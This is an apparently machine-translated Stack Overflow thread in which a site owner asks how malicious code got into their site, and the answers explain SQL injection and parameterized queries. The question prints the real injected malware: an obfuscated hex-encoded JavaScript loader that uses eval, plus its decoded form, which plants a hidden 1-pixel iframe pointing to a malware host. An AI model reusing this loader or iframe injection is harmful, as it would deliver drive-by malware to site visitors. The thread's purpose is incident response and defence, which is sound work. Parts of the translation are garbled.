2013-04-10 3 views
0

다음 코드가 저희 사이트에 추가되었습니다. 아래는 페이지에 미치는 영향입니다. 기본적으로 맬웨어 사이트에 iframe을 여는 것입니다. 저희 사이트는 지난주에 겪었던 문제를 해결하기 위해 문제를 해결하기 위해 데이터베이스와 코드베이스를 롤백했습니다. 내가 사용할 수있는 손상된 버전이 있는데 코드가 들어있는 위치와 방법을 검색하지만 아무 것도 필요 없습니다. 사이트에 어떤 형식으로 입력 한 경우 해당 항목이 db에서 어떤 모습일까요? 코드베이스에서 파일을 수정했다면 왜 찾을 수 없습니까? 나는 무엇을 찾고 있어야 하는가? 이것에 대한 어떤 통찰력이라도 도움이 될 것입니다. 보안을 어디에 연결해야하는지 파악하려고합니다.Sql Injection Attack Insight

참고 : 원본 스크립트에는 줄 바꿈이 없습니다.

<div id="mgkc"><iframe src="http://216.119.114.164/esd.php" style="position: absolute; border: 0px; height: 1px; width: 1px; left: 1px; top: 1px;"></iframe></div> 

<div id="houe"><iframe src="http://216.119.114.164/esd.php" style="position: absolute; border: 0px; height: 1px; width: 1px; left: 1px; top: 1px;"></iframe></div> 
: 그것은 같은 div 요소를 주입한다

(function() { 
    var houe = document.createElement('iframe'); 

    houe.src = 'http://216.119.114.164/esd.php'; 
    houe.style.position = 'absolute'; 
    houe.style.border = '0'; 
    houe.style.height = '1px'; 
    houe.style.width = '1px'; 
    houe.style.left = '1px'; 
    houe.style.top = '1px'; 

    if (!document.getElementById('houe')) { 
     document.write('<div id=\'houe\'></div>'); 
     document.getElementById('houe').appendChild(houe); 
    } 
})(); 

:

<script type="text/javascript" charset="utf-8"> 
    p=parseInt;ss=(123)?String.fromCharCode:0;asgq="[email protected][email protected]!20!7b!d!a!20!20!20!20!76!61!72!20!68!6f!75!65!20!3d!20!64!6f!63!7[email protected][email protected]!3b!d!a!d!a!20!20!20!20!68!6f!75!65!2[email protected]!2e!31!31!34!2e!31!36!34!2f!65[email protected][email protected][email protected]!6f!6e!20!3d!20!27!61!62[email protected]!6c!65!2e!62!6f!72!64!65[email protected][email protected]!67!68!74!20[email protected][email protected]!64!74!68!20[email protected]!6c!65!2e!6c!65!66!74!20[email protected]!6c![email protected]!66!20!28!2[email protected][email protected][email protected][email protected]!20!7b[email protected][email protected][email protected][email protected][email protected]!3b!d!a!20!20!20!20!20!20!20!2[email protected][email protected][email protected][email protected][email protected][email protected][email protected]!3b" 
     .replace(/@/g,"9") 
     .split("!"); 
    try{ 
     document.body&=0.1 
    } catch(gdsgsdg) { 
     zz=3; 
     dbshre=103; 
     if(dbshre){ 
     vfvwe=0; 
     try{ 
      document; 
     } catch(agdsg){ 
      vfvwe=1; 
     } 
     if(!vfvwe){ 
      e=eval; 
     } 
     s=""; 
     if(zz) 
      for(i=0;i-480!=0;i++){ 
       if(window.document) 
        s+=ss(p(asgq[i],16)); 
      } 
     if(window.document) 
      e(s); 
     } 
    } 
</script> 

내장 진수 코드는 다음과 같은 자바 스크립트로 해결 : 선이 읽을 수있는 코드를 만들 나누기로 여기에 표시됩니다

+0

코드에서 SQL 삽입을 어떻게 막고 있습니까? – PeeHaa

+0

인터넷에 침투 테스터가 있습니다. 아마도 서비스에 가입하고 웹 응용 프로그램을 사용할 수 있습니까? 구멍이있는 곳을 알려줍니다. – halfer

+0

누군가 당신의 FTP 사용자 이름/암호를 알아내는 것만 큼 간단 할 수 있습니다. 웹 사이트에 반드시 문제가있는 것은 아닙니다. 로그 파일을 확인할 수도 있습니다. – hvd

답변

0

사이트 양식이 데이터베이스와 어떻게 상호 작용합니까? 그들은 DB에 직접 연결을 만들거나 웹 서비스를 사용합니까? DB에서 직접 쿼리를 실행하는 경우 쿼리를 매개 변수화해야합니다.

1

무엇을 찾고 있습니까?

그것이 SQL 주입 문제가되는 가정 (이 잘 들린다),이 같은 뭔가를 웹 응용 프로그램 코드에보고해야합니다 당신이 우리에게 알려 경우

sql = "SELECT columns FROM SomeTable WHERE SomeColumn=" + someVariable 

어떤 언어를 use 좀 더 대표적인 예를 들려 줄 수도 있지만, 가장 중요한 점은 위생적인, 청소 또는 탈출 함수를 통해 실행하더라도 문자열 연결을 사용하여 사용자가 입력 한 정보를 사용자가 SQL 쿼리 — 에 저장하는 것이 중요하다는 것입니다. 그것 — 당신은 취약합니다. 이것은 삽입/업데이트/삭제 문장조차도 아닙니다. 그것은 단지 select이고, 의미는 SQL이 숫자 형을 기대하고 있음을 나타냅니다. 그것은 중요하지 않습니다. 공격자는 여전히 이것을 사용하여 데이터의 내용을 변경할 수 있습니다. 당신이 ORM을 사용하는 경우

, 당신도 그냥 WHERE 절의 한 부분을 구축 할 수있는, 그래서 심지어 그냥이 될 수 있습니다

filter = "SomeDataField='" + someVariable + "'" 

뭔가를 사용하고 처리하는 올바른 방법 놀이터에서 놀고 다니는 아이들에 따라 매개 변수화 된 쿼리 또는 준비된 문을 호출합니다. 이상과 같이 보입니다이 코드를 사용 : 내가 거기에 사용 문자열 연결을했다

sql = "SELECT columns" + " FROM SomeTable WHERE SomeColumn= ?" 
// Other code to define and set a parameter for SomeColumn goes here 

주 (단지 쇼를 위해, 쿼리이 방법을 구축 할 수 있음을 입증하기 위해),하지만 난 그것을 대체를 사용하지 않았다 사용자 입력을 쿼리에 입력합니다. 여기에서 이해해야 할 중요한 점은이 스키마 (적절하게 구현 된 경우)를 사용하면 결코이 데이터베이스 서버가 아닌 쿼리로 직접 대체된다는 것입니다. 대신, 별도로 전송되고 데이터베이스 엔진에 의해 변수처럼 처리됩니다.

다시 말하면 사용중인 언어/플랫폼을 알고있는 경우 더 나은 표현을 제공 할 수 있습니다. 예를 들어 (내가 UPDATE이 시간을 사용합니다)으로, 여기에 SQL 서버와 C#으로 안전하게 수행하는 한 가지 방법 :

웹 사이트에서 SQL 주입 및 다른 취약점을 테스트 여러 웹 사이트 취약점 스캐너가 있습니다
string sql = "UPDATE table SET column= @SomeVariable WHERE ID= @UserID"; 
using (var cn = new SqlConnection("connection string here")) 
using (var cmd = new SqlCommand(sql, cn)) 
{ 
    cmd.Parameters.Add("@SomeVariable", SqlDbType.VarChar, 50).Value = someVariable; 
    cmd.Parameters.Add("@UserID", SqlDbType.Int).Value = UserID; 

    cn.Open(); 
    cmd.ExecuteNonQuery(); 
} 
0

. 여기 짧은 목록입니다 -에 대한 https://security.stackexchange.com/questions/32/what-tools-are-available-to-assess-the-security-of-a-web-application/38#38을 확인 하나의 큰 :

:

는 또한 이러한 링크를 참조하십시오

일반적으로 코드베이스 내의 모든 SQL 명령을 검색하고 데이터베이스에 unsanitized로 전송되는 입력이 없는지 확인해야합니다.